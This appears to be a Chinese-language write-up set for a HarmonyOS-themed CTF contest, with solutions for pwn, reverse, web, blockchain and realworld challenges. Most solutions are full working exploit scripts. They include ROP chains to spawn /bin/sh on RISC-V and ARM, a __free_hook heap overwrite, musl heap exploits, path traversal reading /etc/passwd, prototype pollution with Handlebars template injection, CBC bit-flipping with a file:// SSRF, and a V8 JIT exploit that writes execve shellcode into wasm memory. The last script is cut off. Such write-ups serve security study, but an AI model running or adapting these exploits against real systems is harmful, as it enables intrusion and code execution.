Misc
rsp
考点:
-
powerpc架构
-
流量分析
-
gdb server调试
题解:
根据提示,使用gdb连接此端口: 可以看到该目标是powerpc架构的,默认的gdb可能不支持连接此架构,需要支持多架构的gdb:
可以进行continue操作,可以Ctrl-C在运行过程中进行中断:
可看到两个地址比较奇怪,高位不同,低位是一样的 再来抓包看一下连接的的情况:
可以看到服务端支持读取auxv 查看目标auxv:
auxv出来的结果也都很奇怪 可以随便找几个数字查看二进制表示,可以发现左边有几个1,右面大段全是0,猜测是大小端错误 powerpc应为大端架构,设置之后再查看auxv就正常了:
尝试从内存中dump出来ELF镜像,发现一次读取太多会导致连接中断:
尝试一次读取一页:
合并内存文件得到一个ELF文件,使用IDA打开,通过查看字符串可知,该ELF程序具有调试器实现,应该跟我们连接的程序是同一个。
查看栈回溯:
使用IDA查看其中的0x100027a8地址
可以看到这里是fork的一个子进程在做死循环,只是简单地打印了信息。 分析到这里,我们目前所具有的条件就很清楚了,我们连上了一个gdbserver的实现,该gdbserver挂到了自己fork出的子进程上,我们可以进行常规的调试操作。 flag应该是在一个文件中。常规的思路是我们直接写入读取文件的shellcode,不过其中的系统调用方面可能比较麻烦,尤其是这还是不常见的powerpc架构。 我们可以看一下程序本身有没有可以借助的部分。在导入函数中搜索open,可以看到程序导入了fopen函数:
转到fopen函数的调用处,可以看到一个完整的打开文件读取内容的函数:
这里读取的是auxv文件的内容,不过我们可以方便地通过调试修改读取的文件名,进而获取其中的内容。完整过程如下:
得到flag:flag{Gd6s3rv3r@frOm_5cr4tch}
ContractGame
考点:
-
区块链智能合约
-
考察对动态数组、map类型数据的存储规则计算
-
考察
blockhash
-
考察
fallback
及msg.sender
的理解
题解
contract hack {
ContractGame target = ContractGame(题目地址);
// first: call pwn with 2 ether
function pwn() payable public {
bytes32 entropy = block.blockhash(block.number-1);
bytes1 coinFlip = entropy[10] & 1;
for(int i=0;i<20;i++){
if (coinFlip == 1){
target.BetGame.value(100000000000000000)(true);
} else {
target.BetGame.value(100000000000000000)(false);
}
}
}
// second: call AddAuth(题目合约地址)
// third: call AddAuth(外部账户地址)
// forth: call AddAuth(攻击合约地址)
// fifth: after 256 blocks then call fallback(可以通过外部账户直接转账msg.value=0即可,然后会调用closeGame函数)
// sixth: call winGame()
function winGame() public {
target.winGame();
}
function() payable {}
}
pwn
harmoshell-1
描述
Your goal is to emit SendFlag(msg.sender)
考点
-
未初始化导致stack overflow
题解
from pwn import *
remote_addr=['localhost', 22555] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
#context.log_level=True
is_remote = True
elf_path = "./harmoshell"
elf = ELF(elf_path)
libc = ELF("./libs/lib/libc-2.27.so")
if is_remote:
p=remote(remote_addr[0],remote_addr[1])
else:
p = process(["qemu-riscv64", "-L", "./libs", elf_path], aslr = True)
context.terminal = ["tmux", "new-window"]
#p = process(elf_path, aslr = False)
#p = process(["./qemu-riscv64", "-g", "12345" ,"-L", "/usr/riscv64-linux-gnu", elf_path], aslr = True)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr = None):
if addr:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
sla("$ ", str(idx))
def touchfile(filename):
choice("touch " + filename)
def echo(filename, content, is_append = False):
if is_append == True:
choice("echo >> " + filename)
else:
choice("echo > " + filename)
sleep(1)
sn(content)
def rm(filename):
choice("rm " + filename)
def show(filename):
choice("cat " + filename)
ru("Content: ")
if __name__ == '__main__':
for i in range(20):
touchfile('B' + hex(i)[2:])
for i in range(20):
rm('B' + hex(i)[2:])
#gdb.attach(p)
#raw_input()
for i in range(8):
touchfile('B' + hex(i)[2:])
#echo("B7", 'A'*8)
show('B7')
libc_addr = u64(rl().strip().ljust(8, '\x00')) + 0x4000000000 - 0x1079f8 # - (0x4000aad768 - libc.symbols['_IO_2_1_stdin_'])
lg("libc", libc_addr)
libc.address = libc_addr
read_got = 0x13060
read_plt = 0x10dc0
touchfile("AAA")
buf = read_plt + 0x300
pop_init = 0x1182c
call_3_arg = 0x11812
mov_s3_a0 = 0x115d8
system_addr = libc.symbols['system']
sh_addr = libc.search("/bin/sh\x00").next()
payload = p64(0)
payload += p64(0x100) #arg3
payload += p64(buf) #arg3
payload += p64(sh_addr) #arg3
payload += p64(sh_addr) #arg3
payload += p64(sh_addr) #arg3
payload += p64(sh_addr) #arg3
payload += p64(mov_s3_a0) #arg3
payload += p64(system_addr)*10
lg("system_addr", system_addr)
echo("BBB", cyclic(0x100+56) + p64(pop_init) + payload)
p.interactive()
harmoshell-2
考点
-
heap overflow
题解
from pwn import *
remote_addr=['',0] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
#context.log_level=True
is_remote = False
elf_path = "./harmoshell2"
elf = ELF(elf_path)
libc = ELF("./libs/lib/libc-2.27.so")
context.terminal = ["tmux", "new-window"]
if is_remote:
p=remote(remote_addr[0],remote_addr[1])
else:
p = process(["qemu-riscv64", "-L", "./libs", elf_path], aslr = True)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr = None):
if addr:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
sla("$ ", str(idx))
def touchfile(filename):
choice("touch " + filename)
def echo(filename, content, is_append = False):
if is_append == True:
choice("echo >> " + filename)
else:
choice("echo > " + filename)
sleep(1)
sn(content)
def rm(filename):
choice("rm " + filename)
def show(filename):
choice("cat " + filename)
ru("Content: ")
if __name__ == '__main__':
for i in range(20):
touchfile('B' + hex(i)[2:])
for i in range(20):
rm('B' + hex(i)[2:])
for i in range(8):
touchfile('B' + hex(i)[2:])
show('B7')
libc_addr = u64(rl().strip().ljust(8, '\x00')) + 0x4000000000 - 0x1079f8 # - (0x4000aad768 - libc.symbols['_IO_2_1_stdin_'])
#libc_addr = raddr() - 0x3ebca0
lg("libc", libc_addr)
libc.address = libc_addr
echo("B2", '/bin/sh\x00' + "A"*0xf8)
echo("B2", p64(0)*2 + 'B'*8 + p64(0) + p64(libc.symbols['__free_hook']), True)
echo('B'*8, p64(libc.symbols['system']))
rm('B2')
p.interactive()
pwnit
描述:
just pwn it !
考点:
-
主要考察arm环境下的万能
gadget
使用
题解:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *
#binary = ['qemu-arm-static', '-g', '1234', '-L', './', './a.out']
binary = ['qemu-arm-static', '-L', './', './a.out']
io = process(binary, aslr = 1)
context.log_level = 'debug'
myu64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
io.recvuntil("input: ")
g1 = 0x10540
g2 = 0x10548
printf_got = 0x0002100C
main = 0x104a0
buf = b'a' * 0x100 + p32(0xdeadbeef) + p32(g1)
buf += p32(printf_got) # r4
buf += p32(1) #r5
buf += p32(printf_got) #r6 = r0
buf += p32(0) #r7 = r1
buf += p32(0) #r8 = r2
buf += p32(0) #r9
buf += p32(0) #r10
buf += p32(g2) #pc
buf += p32(0) * 7 + p32(main)
io.sendline(buf)
libc_addr = u32(io.recvn(4)) - 250780
log.info("\033[33m" + hex(libc_addr) + "\033[0m")
system_addr = libc_addr + 215056
sh_addr = libc_addr + 1042529
pop_r0_r4_pc = libc_addr + 0x0006beec
buf = b'a' * 0x100 + p32(0xdeadbeef) + p32(pop_r0_r4_pc) + p32(sh_addr) + p32(0) + p32(system_addr)
io.sendline(buf)
io.interactive()
Reverse
re123
描述
简单的逆向
考点
-
算法逆向
-
迷宫
题解
题目实际上要解的是一个迷宫,wasd分别对应上下左右 有三层关卡,通过了三层关卡之后才能够拿到最后正确信息
最后的输入内容是
sssssssdddddddsssssssssssddddddddddsddssddwddssssssdddssssdddss
flag{youcangues}
aRm
描述
easy aRm
考点
-
32位ARM程序的逆向
-
ARM中的随机数生成
-
多元方程组求解、异或加密
题解
-
题目给出了一个ARM32位程序和一个output.txt,使用qemu进行运行,使用IDA进行静态分析,根据字符串“flag{”的引用可以找到main函数在sub_10628。注意IDA对sub_17894函数(即printf)的解析有问题,会解析成noreturn类型的函数,可以手动把第一条指令改成BX LR就可以正常解析。
-
逆向程序逻辑,首先程序读取一个int类型的key和一个flag字符串,然后验证flag的长度为42,开头为“flag{”,结尾为“}”,然后与一个常量数组进行异或。
-
接下来,程序将key的最低byte作为srand种子,生成随机系数构造了一个42元方程组,并将方程组计算结果通过16进制的形式打印。
-
因此我们需要爆破256个srand种子,求解方程后异或常量数组还原flag,根据还原的flag是否以“flag{”开头来判断是否为正确的flag。这里尤其要注意如果在不同环境下使用srand和rand生成随机数结果会有不同,因此可以在arm平台上运行解题脚本或使用qemu调试给出的程序来进行随机数的爆破。解题文件夹中的get_rand.c在arm平台下编译运行可以得到种子为0~255时随机的系数,然后导入sol.py中求解线性方程组再回复异或加密,即可得到flag。
pe
描述
Can you run this ARM PE?
考点
-
64位ARM PE程序的逆向分析与运行
-
playfair加密算法的逆向和还原
-
C++字符串、元组、输入输出流等结构的识别与还原
题解
-
题目给出了一个exe程序,但是无法直接运行,逆向发现是ARM64架构的程序,因此要运行需要使用QEMU模拟器运行ARM64架构的windows,或者静态逆向进行分析。
-
逆向程序逻辑,通过搜索flag{的交叉引用找到main函数,发现程序使用c++编写,输入的flag是命令行参数,然后通过一系列c++ string的操作将其加密,flag必须全是大写字母,如果加密后等于一个固定值则包上flag{}使用cout输出。
-
观察到加密的过程中会使用到一个5*5的大写字母码表,根据加密特征可以判断为playfair加密,可以从网上找一份脚本对照进行修改,还原程序逻辑。
-
解密playfair密文
KIMLXDWRZXTHXTHQTXTXHZWC
得到原文YESMAYBEYOUCANRUNANARMPE
,因此flag为flag{YESMAYBEYOUCANRUNANARMPE}
。
puzzle
描述
solve this MIPS puzzle
考点
-
32位MIPS程序的逆向
-
base64编码算法及编码表的使用
-
数字华容道问题的求解
题解
-
使用IDA加载程序,发现是32位大端MIPS程序,main函数在sub_401560
-
分析main函数,发现程序将输入做了一个base64解码,但是解码的过程中在访问码表时有18个字节的偏移,需要手动调整
-
解码后的字符串判断了为数字,然后送入sub_401134函数进行检查
-
检查中判断了输入数字是否为2、4、6、8,然后在一个3*3的矩阵中进行上下左右移动,最终矩阵要等于[1,2,3,4,5,6,7,8,0],可以看出是一个数字华容道游戏
-
使用bfs或A*算法可以找到一个15步的解
884226886224488
,而题目刚好要求15步,因此是唯一解。将这个解通过换码表的base64编码后得到8xOi6R2k8xOk6R2i7xOm
,输入程序即可得到flag,解题脚本见解题文件夹。(python3 sliding_puzzle.py)
crash
描述
crash文件逆向
考点
-
函数符号表恢复
题解
-
题目给的是一个coredump文件,从coredump文件中提取出binary文件,并恢复出库函数符号,详见get_bin_from_crash.py,最终得到的文件用ida打开后保存得到test.idb。
-
在ida中静态分析test.idb,并计算出flag,详见brute_solve.py。
WEB
华为HCIE的第一课
描述
一个简单的web
考点
-
任意文件读取
-
JSON注入
-
原型链污染
-
HandleBars模板注入
题解
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
import requests as req
import re
url = "http://127.0.0.1:2334/" #you just need to modify the url
def arbitrary_file_read():
s= '''http://127.0.0.1:2334/?f=../app.js
http://127.0.0.1:2334/?f=../routes/admin.js
http://127.0.0.1:2334/?f=../routes/calc.js
http://127.0.0.1:2334/?f=../routes/login.js
http://127.0.0.1:2334/?f=../routes/util.js
'''
print("这里是演示任意文件读取,你可以这样来读取源码:")
print(s)
print("现在只是个简单的演示,读取/etc/passwd:")
print(req.get(url+"?f=../../../../../../../../../etc/passwd").text, end='\n')
def main():
arbitrary_file_read()
s = req.session()
#login and prototype pollution
data = {
"username" : '''Y1ng", "__proto__" : {"isAdmin" : 1 }, "name2" : "a'''
}
s.post(url=url, data=data)
#make sure pullute successfully
r = s.get(url=url+"admin")
if 'forbidden' not in r.text:
print("污染成功\n")
else:
print("污染失败")
exit(-1)
#Handlebars Template Injection
data = {
"code" : r"{{#each this}}{{#each this}}{{this.toString}}{{/each}}{{/each}}",
"submit" : "submit"
}
r = s.post(url=url+"admin", data=data)
search = re.search(r"flag{.*}", r.text)
try:
print("flag is here:\n"+search.group())
except:
print("exp failed")
if __name__ == '__main__':
main()
ezlogin
描述
一个平平无奇的登录界面
考点
-
cbc字节翻转攻击
-
SSRF攻击
题解
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import requests
import re
import base64
url = "http://0.0.0.0:20001/"
data = {
"username":"1dmin",
"password":"1231111",
"submit":"Login"
}
r = requests.post(url=url,data=data)
list = r.headers['Set-Cookie'].split(", ")
iv = urllib.unquote(list[1][4:])
cipher = base64.b64decode(urllib.unquote(list[2][10:]))
phpsessid = list[0].split(";")[0][10:]
block = []
for i in range(0,len(cipher),16):
block.append(cipher[i:i+16])
replace = chr(ord(block[0][9]) ^ ord('1') ^ ord('a'))
block[0] = block[0][:9]+replace+block[0][10:]
iv = base64.b64decode(iv)
cipher_new = ""
for i in range(0,len(block)):
cipher_new += block[i]
cookie={
"PHPSESSID":phpsessid,
"user_info":urllib.quote(base64.b64encode(cipher_new)),
"key":urllib.quote(base64.b64encode(iv))
}
s = requests.get(url=url,cookies=cookie)
res_tr = r"<p>.*?</p>"
m_tr = re.findall(res_tr,s.content)
base = m_tr[0][3:-4]
plain = base64.b64decode(base)[:16]
want = 'a:2:{s:8:"userna'
first_16 = ''
for i in range(16):
first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i]))
newiv = first_16
cookie={
"PHPSESSID":phpsessid,
"user_info":urllib.quote(base64.b64encode(cipher_new)),
"key":urllib.quote(base64.b64encode(newiv))
}
k = requests.get(url=url,cookies=cookie)
url2 = url+'mmman4g.php?url=FILe://@127.0.0.1:[email protected]/.//../../var/www/html/flag.php'
cookie = {
"PHPSESSID":phpsessid
}
r = requests.get(url=url2,cookies = cookie)
res_tr = r"'.*?}'"
m_tr = re.findall(res_tr,r.content)
print 'admin PHPSESSID:',phpsessid
print m_tr[0][1:-1]
RealWorld赛题
harmodriver
描述
内核驱动
考点
-
info leak
-
UAF
-
ROP
题解
from pwn import *
p = remote("127.0.0.1", 22222)
with open("./sample_test", 'r') as f:
content = f.read()
content = content.encode('hex')
l = len(content)
p.recvline()
start = 0
left = l
while left > 0:
if left < 0x1000:
to_read_size = left
else:
to_read_size = 0x1000
p.sendline(content[start: start + to_read_size])
start += to_read_size
left -= to_read_size
p.sendline("Exit")
p.interactive()
Harmofs
描述
简单的文件系统
考点
-
abs函数的漏洞
-
musl libc的堆利用
-
ROP
题解
from pwn import *
remote_addr=['localhost', 22222] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
#context.log_level=True
#elf_path = "./honormap"
#elf = ELF(elf_path)
libc = ELF("./libc.so")
is_remote = True
#context.terminal = ["tmux", "new-window"]
#p = process(elf_path, aslr = False)
if is_remote:
p=remote(remote_addr[0],remote_addr[1])
else:
p = process("./start_qemu.sh")
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr = None):
if addr:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def cmd(c):
sla("Sh > ", c)
def new_file(size, name):
cmd("touch")
sla(": ", str(size))
sla(": ", name)
def read_file(filename, content):
cmd("fileop")
sla(": ", filename)
sla(": ", '1')
sla(": ", str(len(content) + 1))
sleep(1)
sl(content)
def write_file(filename, size):
cmd("fileop")
sla(": ", filename)
sla(": ", '2')
sla(": ", str(size))
def seek_file(filename, mode, value):
cmd("fileop")
sla(": ", filename)
sla(": ", '3')
sla(": ", str(mode))
sla(": ", str(value))
def close_file(filename):
cmd("fileop")
sla(": ", filename)
sla(": ", '4')
if __name__ == '__main__':
sleep(16)
ru("Gift: ")
puts_addr = int(rl(), 16)
ru("Gift: ")
code_addr = int(rl(), 16) - 0x12D8
libc.address = puts_addr - libc.symbols['puts']
env_addr = libc.symbols['environ']
lg("libc address", libc.address)
lg("code_base addr", code_addr)
lg("env addr", env_addr)
for i in range(16):
new_file(0x300, "Ne0PWN" + str(i) + '\x00')
file_to_hack = "Ne0PWN13\x00"
seek_file(file_to_hack, 0, 0x80000000)
seek_file(file_to_hack, 1, 0x7FFFFFFc)
read_file(file_to_hack, p32(0x7FFFFFFF))
close_file("Ne0PWN12\x00")
close_file("Ne0PWN14\x00")
seek_file(file_to_hack, 0, 792)
write_file(file_to_hack, 4)
ru("4\r\n\r")
buf_addr = u32(rv(4)) + 0x0354
lg("buf_addr", buf_addr)
offset = env_addr - buf_addr
seek_file(file_to_hack, 0, offset)
write_file(file_to_hack, 4)
ru("4\r\n\r")
stack_addr = u32(rv(4)) - 1496
lg("stack_addr", stack_addr)
#raw_input()
seek_file(file_to_hack, 0, 0)
read_file(file_to_hack, '/etc/flag\x00')
seek_file(file_to_hack, 0, stack_addr - buf_addr)
popr4_r8pc = libc.address + 0x00084c34
cat_file = code_addr + 0x1248
read_file(file_to_hack, p32(popr4_r8pc) + p32(buf_addr)*5 + p32(popr4_r8pc + 4) + p32(0)*5 + p32(cat_file))
p.interactive()
LuaPlayground 1
描述
第一个简单的lua利用
题解
c = io.open("/storage/test1.lua","w")
io.output(c)
通过打开storage的文件,写入一个base64的脚本,然后通过改变package.path,来require这个脚本,现在有了base64的函数以后可以
f = io.open("flag_app","rb")
print(to_base64(f:read("*a")))
来把这题的flag_app读出来。最后逆向可得flag
LuaPlayground 2
描述
第二个简单的lua利用
考点
-
Lua加密方式探索
涉及鸿蒙特性的利用过程:Lua被广泛应用于嵌入式系统上,探索在鸿蒙系统下可以使用的Lua引擎加密方式
题解
用第一题的方法把flag2.lua读出来,然后逆向分析第一题固件当中的lua binary,得到Lua code table以后修改luadec后反编译即可得到答案。
V8
描述
vvvvv88888
考点
-
v8引擎漏洞利用题目
-
因为删除的codedependency导致漏洞的产生,map无法正常发挥他的作用
-
可以通过构造BigUintArray来exploit
题解
const MAX_ITERATIONS = 0x10000; var maxSize = 1028*8; var buf =new ArrayBuffer(16); var float64 = new Float64Array(buf); var bigUint64 = new BigUint64Array(buf); var uint32 = new Uint32Array(buf); // Floating point to 64-bit unsigned integer function f2i(f) { float64[0] = f; return bigUint64[0]; } // 64-bit unsigned integer to Floating point function i2f(n) { bigUint64[0] = n; return float64[0]; } function f2half(val) { float64[0]= val; let tmp = Array.from(uint32); return tmp; } function half2f(val) { uint32.set(val); return float64[0]; } // 64-bit unsigned integer to hex function hex(i) { return "0x"+i.toString(16).padStart(16, "0"); } function wasm_func() { var wasmImports = { env: { puts: function puts (index) { print(utf8ToString(h, index)); } } }; var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2, 96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117, 116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5, 131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6, 109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128, 128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0, 65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]); let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports); let h = new Uint8Array(m.exports.memory.buffer); return m.exports.hello; } function gc(){ for(let i = 0; i < 100; ++i){ new ArrayBuffer(0x100000); } } // wasm obj func = wasm_func(); a = [1.1, 2.2, 3.3, 4.4]; a.x = 1; function foo(idx, val, idx2, flag){ idx = idx & 0xffff; if (flag == 1){ a[idx2] = val; } return a[idx]; } for(let i = 0; i < 0x10000; i++){ foo(1, 1, 0, 1); } a[0x1000] = 1; b = [1.1]; vulnArray = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9]; ab = new ArrayBuffer(0x200); objArray = {m:0xdead, n:func}; bigUintArray = new BigUint64Array(6); bigUintArray[0] = 0x1234n; bigUintArray[1] = 0x5678n; //find the length of the vulnArray //console.log(i2f(0xdeadbeefn)); vulnArray[0] = 1.8457939563e-314; var lengthIdx = 0; for(let i = 0; i < 0x100; ++i){ if(f2half(foo(i,0,0,0))[0] == 0xdeadbeef){ console.log("Found on 0: " + i); lengthIdx = i - 3; //changing length var tmp = f2half(foo(lengthIdx, 0, 0, 0)); tmp[1] = 0x2020 << 1; foo(0, half2f(tmp), lengthIdx, 1); console.log(hex(f2i(foo(lengthIdx,0,0,0)))); if(vulnArray.length > 8) console.log(vulnArray.length); break; } if(f2half(foo(i,0,0,0))[1] == 0xdeadbeef){ console.log("Found on 1: " + i); lengthIdx = i - 2; //changing length var tmp = f2half(foo(lengthIdx, 0, 0, 0)); tmp[0] = 0x2020 << 1; foo(0, half2f(tmp), lengthIdx, 1); console.log(hex(f2i(foo(lengthIdx,0,0,0)))); if(vulnArray.length > 8) console.log(vulnArray.length); break; } } var floatArrayBigBaseIdx = 0; var floatArrayBigExternalIdx = 0; for(let i=0; i<0x100; i++) { if(f2half(vulnArray[i])[0] == 0x1234){ floatArrayBigBaseIdx = i + 12; floatArrayBigExternalIdx = i + 11; floatArrayBigLenIdx = i + 10; console.log("[+] float idx of big uint array base addr is: "+hex(floatArrayBigBaseIdx)); console.log("[+] float idx of big uint array external addr is: "+hex(floatArrayBigExternalIdx)); var bigUintArrayLen = f2i(vulnArray[floatArrayBigLenIdx]); var bigUintArrayBasePtr = f2i(vulnArray[floatArrayBigBaseIdx]); var bigUintArrayExternalPtr = f2i(vulnArray[floatArrayBigExternalIdx]); var compressHeapHighAddr = bigUintArrayExternalPtr & 0xffffffff00000000n; print ("[+] heap high addr: " + hex(compressHeapHighAddr)); break; } } function InHeapRead64(addr) { vulnArray[floatArrayBigBaseIdx] = i2f(addr-0x8n); let ret = bigUintArray[0]; vulnArray[floatArrayBigBaseIdx] = i2f(bigUintArrayBasePtr); return ret; } function InHeapWrite64(addr, val) { vulnArray[floatArrayBigExternalIdx] = i2f(addr-0x8n); bigUintArray[0] = val; vulnArray[floatArrayBigExternalIdx] = i2f(bigUintArrayExternalPtr); return; } function ByteToBigIntArray(payload) { let sc = []; let tmp = 0n; print("lenpay: ", payload.length); let lenInt = BigInt(Math.floor(payload.length/8)) print("lenInt:", lenInt); for (let i = 0n; i < lenInt; i += 1n) { tmp = 0n; for(let j=0n; j<8n; j++){ tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j)); } sc[i] = tmp; } print(sc); let len = payload.length%8; tmp = 0n; for(let i=0n; i<len; i++){ tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i)); } sc[lenInt] = tmp; return sc; } function InHeapWrite(addr, payload) { sc = ByteToBigIntArray(payload); vulnArray[floatArrayBigLenIdx] = i2f(payload.length); vulnArray[floatArrayBigBaseIdx] = i2f(addr-0x8n); for(let i = 0; i<sc.length; i+=i) { bigIntArray[i] = sc[i]; } vulnArray[floatArrayBigBaseIdx] = i2f(bigUintArrayBasePtr); vulnArray[floatArrayBigLenIdx] = bigUintArrayLen; } function ArbitratyWrite(addr, payload) { sc = ByteToBigIntArray(payload); print(sc); vulnArray[floatArrayBigLenIdx] = i2f(BigInt(sc.length)); vulnArray[floatArrayBigBaseIdx] = i2f(0n); vulnArray[floatArrayBigExternalIdx] = i2f(addr); for(let i = 0; i<sc.length; i+=1) { bigUintArray[i] = sc[i]; } vulnArray[floatArrayBigLenIdx] = bigUintArrayLen; vulnArray[floatArrayBigBaseIdx] = bigUintArrayBasePtr; vulnArray[floatArrayBigExternalIdx] = bigUintArrayExternalPtr; } function AddrOf(obj) { objArray.n = obj; for(let i=0; i<maxSize; i++) { let half = f2half(vulnArray[i]); if( half[0] == (0xdead<<1) ) { //print("123"); ret = half[1]; break; } else if( half[1] == (0xdead<<1) ) { //print("456"); ret = f2half(vulnArray[i+1])[0]; break; } } return BigInt(ret) } function FakeObj(addr) { for(let i=0; i<maxSize; i++) { let half = f2half(vulnArray[i]); if(half[0] == (oxdead<<1)) { half[1] = addr; vulnArray[i] = half2f(half); return objArray.n; } else if(half[1] == (0xdead<<1)) { half = f2half(vulnArray[i+1]); half[0] = addr; vulnArray[i+1] = half2f(half); return objArray.n; } } } var wasmObjAddr = AddrOf(func); var sharedInfoAddr = InHeapRead64(wasmObjAddr+0xcn)&0xffffffffn; var wasmExportedFunctionDataAddr = InHeapRead64(sharedInfoAddr+4n)&0xffffffffn; var instanceAddr = InHeapRead64(wasmExportedFunctionDataAddr+0x8n)&0xffffffffn; var rwxAddr = InHeapRead64(instanceAddr+0x68n); //%DebugPrint(func); console.log("[+] wasm obj addr: "+hex(wasmObjAddr)); console.log("[+] wasm shared info addr: "+hex(sharedInfoAddr)); console.log("[+] wasmExportedFunctionData addr addr: "+hex(wasmExportedFunctionDataAddr)); console.log("[+] instance addr addr: "+hex(instanceAddr)); console.log("[+] rwx addr: "+hex(rwxAddr)); var shellcode = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05]; ArbitratyWrite(rwxAddr, shellcode); //print(payload.length); func();
FHWH
描述
HMS app
考点
-
HMS Core 计算加速服务
-
HMS Core 线性马达能力
-
HMS Core 近距离通信服务
-
加密数据中真实数据寻找
-
代码混淆
-
AES CBC、Tea、RC4加密
题解
逆向分析FHWH_Slaver App,对输入XCTFHarmonyOS和HMS专题赛中的sec2.data进行AES解密,解密正确后调用发送文件功能,再分析第二个APP。
反编译主要APP,并定位Confirm按钮对应的函数,_com_lh_hmstry_MainActivity_checkKey
对输入使用sub_DD8
处理,为典型的Tea加密函数。
Honormap
描述
一个微型地图应用
考点
-
scanf的类型混淆,
-
整数溢出导致堆溢出
-
musl libc的堆分配特性
题解
from pwn import *
remote_addr=['localhost', 22222] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
context.log_level=True
#elf_path = "./honormap"
#elf = ELF(elf_path)
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
context.terminal = ["tmux", "new-window"]
p=remote(remote_addr[0],remote_addr[1])
#p = process(elf_path, aslr = False)
#p = process("./start_qemu.sh")
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr = None):
if addr:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def cmd(c):
sla("CMD > ", c)
def new_map(height, width, map_type):
cmd("alloc")
sla(": ", hex(height))
sla(": ", hex(width))
sla(": ", hex(map_type))
def edit_map(idx, x, y, content):
cmd("edit")
sla(": ", str(idx))
sla(": ", str(x))
sla(": ", str(y))
sla(": ", str(len(content)))
sa(": ", content)
def show_map(idx):
cmd("view")
sla(": ", str(idx))
if __name__ == '__main__':
sleep(30)
ru("Loading")
new_map(25, (26<<0x10) + 80, 0)
show_map(0)
ru("Map:")
for i in range(25):
rl()
block_handler = u32(rv(4))
system_off = (0x01350 - 0x11A0)
system_addr = block_handler + system_off
lg("Block handler", block_handler)
lg("Read handler", system_addr)
new_map(25, (0x1000<<0x10) + 80, 0)
new_map(25, (0x1000<<0x10) + 80, 0)
new_map(25, (0x1000<<0x10) + 80, 0)
new_map(25, 80, 0)
edit_map(3, 25, 0x18, '/etc/flag\x00\n')
edit_map(3, 25 + 25, 0x20, p32(system_addr) + '\n')
cmd("edit")
sla(": ", "4")
p.interactive()
ez_ohos
描述
pwn it !
考点
-
uaf in musl libc
-
通过show函数leak出libc, 由于堆地址特性, 可以同时获得堆基址和程序基址
-
利用musl libc的解链机制构造任意地址读和任意地址写
-
通过environ读出栈地址
-
rop
题解
from pwn import *
context(log_level = 'info',arch = 'arm')
def exp(offset=0):
# r = process("./start_qemu.sh".split())
r = remote("127.0.0.1",9999)
r.recvuntil("======= Welcome to OHOS ========")
def menu(idx):
r.sendlineafter(">>",str(idx))
def add(idx,sz,con):
menu(1)
r.sendlineafter("index?",str(idx))
r.sendlineafter("size?\r\r\n",str(sz))
r.sendafter("content?\r\r\n",con)
def fr(idx):
menu(3)
r.sendlineafter("index?",str(idx))
def edit(idx,con):
menu(2)
r.sendlineafter("index?",str(idx))
